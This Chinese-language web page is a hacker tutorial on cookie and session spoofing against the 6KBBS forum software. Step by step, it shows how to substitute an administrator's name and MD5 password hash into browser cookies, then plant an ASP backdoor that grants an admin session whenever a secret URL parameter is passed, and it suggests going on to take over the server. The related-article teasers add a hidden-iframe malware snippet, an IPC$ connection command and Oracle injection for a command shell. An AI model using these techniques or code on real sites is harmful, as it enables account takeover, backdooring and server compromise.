实例讲解Cookies欺骗与session欺骗入侵

所属分类: 网络安全 / 黑客教程 阅读数: 137
收藏 0 赞 0 分享
我们先来说下基础知识,免的一些菜鸟看不懂,有借鉴. cookies欺骗,就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录。

  那么什么是cookies呢,我这里给大家一个专业的解释,cookies是一个储存于浏览器目录中的文本文件,记录你访问一个特定站点的信息,且只能被创建这个cookies的站点读回,约由255个字符组成,仅占4kb硬盘空间。当用户正在浏览某站点时,它储存于用户机的随机存取存储器ram中,退出浏览器后,它储存于用户的硬盘中。储存在cookies中的大部分信息是普通的,如当你浏览一个站点时,此文件记录了每一次的击键信息和被访站点的地址等。但是许多web站点使用cookies来储存针对私人的数据,如:注册口令、用户名、信用卡编号等。

什么是Session?当一个访问者来到你的网站的时候一个Session就开始了,当他离开的时候Session就结束了。本质是来说,cookie是和浏览器有关系,而Session变量就可以存一些资源变量在服务器上面。
正题: 我们先里看个实例,在6KBBS的login.asp找到113—124行,得到以下代码:

if
[url=javascript:][color=#949494]Copy code[/color][/url]
login=false then tl=" 登 陆 失 败" mes=mes&"

  ·返回重新填写" else response.cookies(prefix)("lgname")

  =lgname session(prefix"lgname")=

  lgname response.cookies(prefix)("lgpwd")=

  lgpwd response.cookies(prefix)("lgtype")=

  lgtype response.cookies(prefix)("lgcook")=

  cook if cook>0 then response.cookies(prefix).expires=

  date cook end if

我们来分析下,如果你登录失败了他就显示你登录失败并引导你返回上一页,否则就给你写进cookies里面,如果你的cookies有的话那么你的过期时间就是你cookies的过期时间——也就是你保存cookies的时间了。 这时,我们想到的是如果里面的信息是admin的,那一不就成了以管理员登陆了吗? 首先,我们先去注册一个用户,然后登录,有个cookies保存的选项,一定要选哦。我选择是保存一个月,因为保存了才会再你本机上写进它的cookies。接着,打开数据库,看admin表里面有什么东西,别的不管,你只要那个bd为16的那个人就行了。有可能没有,你可以到他们论坛去逛一下,看管理员是谁,然后在数据库里面拿他的账号和加密的密码来欺骗。

  打开iecookiesview,这款软件是拿来察看和修改本机的cookies的,很方便我们的cookies欺骗入侵。

  在iecookiesview 里找到你要欺骗的那个网站,看到了吗?有你的用户名和md5加密的密码,我们吧这两项改为管理员的,就是把刚才数据库里面的管理员账号和md5加密的密码代替你自己的。点击“更改cookies”,打开一个新的ie,然后再去访问那个论坛,看到没有?你现在已经是管理员了。

接着,麻烦的事出现了,后台登陆并不是以cookies来实现的,而是以session实现的 ,所以我们同样来欺骗session;

首先简单说一下一般asp系统的身份验证原理。 一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面。

找到manage/admin.asp,发现验证内容为:

[url=javascript:][color=#949494]Copy code[/color][/url]
...
  else
   rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
   rs("LastLoginTime")=now()
   rs("LoginTimes")=rs("LoginTimes") 1
   rs.update
   session.Timeout=SessionTimeout
   session("AdminName")=rs("username")
   rs.close
   set rs=nothing
   call CloseConn()
   Response.Redirect "Admin_Index.asp" 很容易就知道如果没有获得验证就会出现两个session值:
[url=javascript:][color=#949494]Copy code[/color][/url]
session.Timeout=SessionTimeout
  session("AdminName")=rs("username") 试想如果我们以adminName的信息登陆就就ok了..接着用ASP木马编辑器来添加代码如下:

[url=javascript:][color=#949494]Copy code[/color][/url]
dim id
  id=trim(request("hc"))
  if id="16" then
   session("AdminName")="admin"
  end if 分析上段代码,有个不定值--admin,可以根据实际情况来设置,不一定是admin;可以在一些不常去的页面来登陆,如:FriendSite.asp?hc=16返回时页面没有出现异样,这就行了,然后再次登陆manage/admin.asp,你会发现,你已经进入后台了。然后可以提权得弄服务器了。
更多精彩内容其他人还在看

汗颜:黑客居然这样保护自己的电脑

     看了你昨天的留言,我才知道原来木马可以用这么多方式传播呀。那我想问你一件事,常在河边走,哪有不湿鞋,你经常黑别人,难道就没有被别人黑过吗?你是怎么防范其他黑客攻击的呢?   就像你说的那样,我也中过木马,也同样被黑过,我的经验
收藏 0 赞 0 分享

高手支招:通过进程抓马

 对于进程这个概念,许多电脑用户都没有给予太多关注。在很多人印象里,只知道结束进程可以杀死程序,至于哪些进程对应哪些程序,究竟什么样的进程该杀,什么样的进程不能杀这些问题很少考虑。这里通过几个实例为大家揭开进程的神秘面纱。   实例一:和进程的“表
收藏 0 赞 0 分享

ASP注入万能登陆密码

《黑客手册》样刊里面,oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码:   程序代码   <%   username=trim(Request.Form("username"))   password=trim(Reque
收藏 0 赞 0 分享

容易被黑客攻击的10个漏洞

  应用程序级的安全漏洞通常不会像类似SirCam的邮件病毒或者诸如Code Red这样的蠕虫病毒那么容易广为扩散,但它们也同样会造成很多问题,从窃取产品或信息到使整个Web站点完全瘫痪。确保网站web应用程序的安全不是一件简单的事,而不幸的是对应用程序的攻击是非常容易的
收藏 0 赞 0 分享

139入侵简易教程

  net use\192.168.0.1ipc$Content$nbsp;"" /user:administrator   提到139端口,我想知道的人一定非常多,本来是不想用写这个教程的,但考虑要照顾到新人,所以还是简单的写一下。   首先,连接的命令
收藏 0 赞 0 分享

有史以来最牛的服务器反黑全集

 Win2k的缺省安装很容易被攻击者取得帐号列表,即使安装了最新的Service ack也是如此。   方案一   1.打补丁   微软的作风就是三天一小补,五天一大补,漏洞太多,补一点就好一点,使用“开始-WindowsUpdate"然后把所有
收藏 0 赞 0 分享

网页挂马方法和技巧大汇总

1,挂马的N种方法   (1) HTML挂马法。   常规的HTML挂马方法一般是在网页中插入一条iframe语句,像<iframe src=http://www.xxx.com/horse.html width=0 height=0></iframe>
收藏 0 赞 0 分享

黑客快速入门

今天的内容是获得主机的信息。 我们要黑一台主机,首先要了解它的信息,   包括它的类型,用户列表,目录,端口,漏洞等等。   首先我们我们要找一台主机来练手,随便挑吧!www.dddd.com(乱说的)第一部,呵呵,   先在ie里看看吧,mmmm.....做的还行,挺精致的!主
收藏 0 赞 0 分享

秒杀Google浏览器

用Google浏览器浏览此篇文章,并点击下面的字符:   EVIL:%   是不是很爽,^_^。
收藏 0 赞 0 分享

犀利的 oracle 注入技术

犀利的 oracle 注入技术   原文发表在黑客手册   linx 2008.1.12   介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。   以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS
收藏 0 赞 0 分享
查看更多